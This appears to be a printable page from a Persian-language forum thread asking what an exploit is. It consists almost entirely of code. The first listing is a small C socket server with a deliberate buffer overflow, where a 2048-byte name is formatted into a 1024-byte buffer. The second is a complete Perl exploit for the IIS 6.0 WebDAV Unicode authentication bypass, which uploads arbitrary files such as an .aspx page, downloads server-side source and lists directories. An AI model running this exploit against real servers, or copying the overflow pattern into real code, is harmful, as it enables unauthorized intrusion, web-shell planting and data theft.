اكسپلوييت چيه؟ - نسخه قابل چاپ

کد:

-------------------------------------------- vulnerable.c ----------------------------------------------





#include <stdio.h>

#include <netdb.h>

#include <netinet/in.h>





#define BUFFER_SIZE 1024

#define NAME_SIZE 2048





int handling(int c)



{

char buffer[BUFFER_SIZE], name[NAME_SIZE];

int bytes;

strcpy(buffer, "My name is: ");

bytes = send(c, buffer, strlen(buffer), 0);

if (bytes == -1)

return -1;

bytes = recv(c, name, sizeof(name), 0);

if (bytes == -1)

return -1;

name[bytes - 1] = ’\0’;

sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);

bytes = send(c, buffer, strlen(buffer), 0);

if (bytes == -1)

return -1;

return 0;



}





int main(int argc, char *argv[])



{

int s, c, cli_size;

struct sockaddr_in srv, cli;

if (argc != 2)

{

fprintf(stderr, "usage: %s port\n", argv[0]);

return 1;

}

s = socket(AF_INET, SOCK_STREAM, 0);

if (s == -1)

{

perror("socket() failed");

return 2;

}

srv.sin_addr.s_addr = INADDR_ANY;

srv.sin_port = htons( (unsigned short int) atol(argv[1]));

srv.sin_family = AF_INET;

if (bind(s, &srv, sizeof(srv)) == -1)

{

perror("bind() failed");

return 3;

}

if (listen(s, 3) == -1)

{

perror("listen() failed");

return 4;

}

for(;;)

{

c = accept(s, &cli, &cli_size);

if (c == -1)

{

perror("accept() failed");

return 5;

}

printf("client from %s", inet_ntoa(cli.sin_addr));

if (handling(c) == -1)

fprintf(stderr, "%s: handling() failed", argv[0]);

close(c);

}

return 0;



}

کد:

#!/usr/bin/perl

#  ********* !!! WARNING !!! *********

#  *   FOR SECURITY TESTiNG ONLY!    *

#  ***********************************

#  MS Windows WebDav for IIS 6.0 V1.0



use IO::Socket;

use Getopt::Long; 



# Globals Go Here.

my $target;                # Host being probed.

my $port;                    # Webserver port.

my $method;                # HTTP Method, PUT GET or .

my $xpath;                # WebDAV path on Webserver.

my $file;                    # file name.

my $httpmethod;

my $Host_Header;    # The Host header has to be changed



GetOptions( 

        "target=s"      => \$target,

        "port=i"        => \$port,

        "method=s"      => \$method,

        "xpath=s"       => \$xpath,

        "file=s"        => \$file,

        "help|?"        => sub { 

                                hello();

                                exit; 

                                } 

); 



$error .= "Error: You must specify a target host\n" if ((!$target)); 

$error .= "Error: You must specify a target port\n" if ((!$port)); 

$error .= "Error: You must specify a put or get method\n" if ((!$method)); 

$error .= "Error: You must specify a webdav path\n" if ((!$xpath)); 

$error .= "Error: You must specify a upload or download file name\n" if ((!$file) && $method != "l"); 



if ($error) { 

        print "Try IIS6_webdav_upload_file.pl -help or -?' for more information.\n$error\n"; 

        exit; 

} 



hello();



if ($method eq "p") {

    $httpmethod = "PUT";

} elsif ($method eq "g") {

  $httpmethod = "GET";

} elsif ($method eq "l") {

  $httpmethod = "PROPFIND";

} else {

  print "$method Method not accept !!!\n";

  exit(0);

}

    

    

# ************************************

# * We testing WebDAV methods first  *

# ************************************

print "-" x 60 ."\n";

print "Testing WebDAV methods [$target $port]\n";

print "-" x 60 ."\n";

@results=sendraw2("OPTIONS / HTTP/1.0\r\n\r\n",$target,$port,10);

if ($#results < 1){die "10s timeout to $target on port $port\n";}



#print @results;

$flag="off";

foreach $line (@results){

    if ($line =~ /^Server: /){

        ($left,$right)=split(/\:/,$line);

        $right =~ s/ //g; 

        print "$target : Server type is : $right";



      if ($right !~ /Microsoft-IIS/i){

          print "$target : Not a Microsoft IIS Server\n";

          exit(0);

      }

    }

    

    if ($line =~ /^DAV: /){

        $flag="on";

    }

    

    if ($line =~ /^Public: / && $flag eq "on"){

     ($left,$right)=split(/\:/,$line);

     $right =~ s/ //g; 

     print "$target : Method type is : $right";

     if ($right !~ /$httpmethod/i){

      print "$target : Not allow $httpmethod on this WebDAV Server\n";

      exit(0);

     } else {

       $flag="on";

     }

    }        

}

if ($flag eq "off") {

  print "$target : WebDAV disable\n";

  exit(0);        

}

#end of WebDAV testing.

print "-" x 60 ."\n";

my $content;

my $data;

if ($httpmethod eq "PUT") {

  #cacl file size

  $filesize = -s $file;

  print "$file size is $filesize bytes\n";

  open(INFO, $file) || die("Could not open file!");

  #@lines=<INFO>;

  binmode(INFO); #binary

  while(read(INFO, $data, $filesize))

  { 

      $content .= $data;

  }

  close(INFO); 

  #print $content;

  

  $Host_Header = "Translate: f\r\nHost: $target\r\nContent-Length: $filesize\r\n";

} elsif ($httpmethod eq "GET") {

    $Host_Header = "Translate: f\r\nHost: $target\r\nConnection: close\r\n\r\n";

} elsif ($httpmethod eq "PROPFIND") {

    $Host_Header = "Host: $target\r\nConnection: close\r\nContent-Type: text/xml; charset=\"utf-8\"\r\nContent-Length: 0\r\n\r\n";

    $Host_Header = $Host_Header."<?xml version=\"1.0\" encoding=\"utf-8\"?><D:propfind xmlns:D=\"DAV:\"><D:prop xmlns:R=\"http://apache.org/dav/props/\"><R:bigbox/><R:author/><R:DingALing/><R:Random/></D:prop></D:propfind>";

}

print "-" x 60 ."\n$httpmethod $file , Please wait ...\n"."-" x 60 ."\n";



# ************************************

# * Sending HTTP request for WebDAV  *

# ************************************

if ($httpmethod eq "PUT") {

  @results=sendraw2("$httpmethod /%c0%af$xpath/$file HTTP/1.0\r\n$Host_Header\r\n$content",$target,$port,10);

  if ($#results < 1){die "10s timeout to $target on port $port\n";}

} elsif ($httpmethod eq "GET") {

    @results=sendraw2("$httpmethod /%c0%af$xpath/$file HTTP/1.0\r\n$Host_Header",$target,$port,10);

  if ($#results < 1){die "10s timeout to $target on port $port\n";}

} elsif ($httpmethod eq "PROPFIND") {

    @results=sendraw2("$httpmethod /%c0%af$xpath/ HTTP/1.0\r\n$Host_Header",$target,$port,10);

  if ($#results < 1){die "10s timeout to $target on port $port\n";}

}

#print @results;

$flag="off";

foreach $line (@results){

    if ($line =~ m|^HTTP/1\.[01] 2[0-9][0-9] |){

        $flag="on";

    }



    if ($line =~ m|^HTTP/1\.[01] 4[0-9][0-9] |){

        $flag="off";

    }    

}

print "-" x 60 ."\n";

if ($flag eq "on") {

  if ($httpmethod eq "PUT") {

      print "$httpmethod $file from [$target:$port/$xpath] OK\r\n";

  } elsif ($httpmethod eq "GET") {

    my $line_no = 0;

    my $counter = @results;

    foreach $line (@results){

        ++$line_no;

        if ($line =~ /^Accept-Ranges: bytes\r\n/){

            last;

        }

    }



    # Write file to disk

    open(OUTFILE, ">$file") or die "Could not write to file: $!\n";

    binmode (OUTFILE);

    print OUTFILE @results[$line_no+1..$counter];

    close(OUTFILE);     

     

      print "$httpmethod $file from [$target:$port/$xpath] OK\r\nPlease check $file on local disk\r\n";      

      

  } elsif ($httpmethod eq "PROPFIND") {

    print "$httpmethod path list from [$target:$port/$xpath] OK\r\n";

      foreach $line (@results){

        if ($line =~ /^\<\?xml version\=/i){

            my @list = split("<a:href>", $line);

            foreach $path (@list) {

                $no = index($path,"<");

                $result.=substr($path, 0, $no)."\n";

            }

            print $result;

            last;

        }

    }

  }

} else {

    print "$httpmethod $file from [$target:$port/$xpath] FAILED!!!\r\n";

}

print "-" x 60 ."\n";

exit(0);



# *************

# * Sendraw-2 *

# *************

sub sendraw2 {

  my ($pstr,$realip,$realport,$timeout)=@_;

  my $target2 = inet_aton($realip);

  my $flagexit=0;

  $SIG{ALRM}=\&ermm;

  socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems");

  alarm($timeout);

  if (connect(S,pack "SnA4x8",2,$realport,$target2)){

    alarm(0);

    my @in;

    select(S); $|=1;

    print $pstr;

    alarm($timeout);

    while(<S>){

      if ($flagexit == 1){

        close (S);

        print STDOUT "Timeout\n";

        return "Timeout";

      }

      push @in, $_;

    }

    alarm(0);

    select(STDOUT);

    close(S);

    return @in;

  } else {return "0";}

}

sub ermm{

        $flagexit=1;

        close (S);

}



sub hello{

  print "\n"; 

  print "\t #################################################\n"; 

  print "\t #       MS Windows WebDav for IIS 6.0 V1.0      #\n"; 

  print "\t #  ************* !!! WARNING !!! ************   #\n"; 

  print "\t #  ** FOR PRIVATE AND EDUCATIONAL USE ONLY! *   #\n"; 

  print "\t #  ******************************************   #\n"; 

  print "\t #  Created by csg 20090524 csgcsg(at)walla.com  #\n"; 

  print "\t #################################################\n"; 

  print "\n\t -target\t\t eg.: 127.0.0.1\n"; 

  print "\t -port\t\t\t eg.: 80\n"; 

  print "\t -method (p:PUT, g:GET, l:LIST)\t eg.: g\n"; 

  print "\t -webdavpath\t\t eg.: webdav\n"; 

  print "\t -file\t\t\t eg.: test.aspx\n\n"; 

  print "\tUsage eg.: \n\tIIS6_webdav.pl -t 127.0.0.1 -p 80 -m p -x webdav -f test.aspx\n"; 

};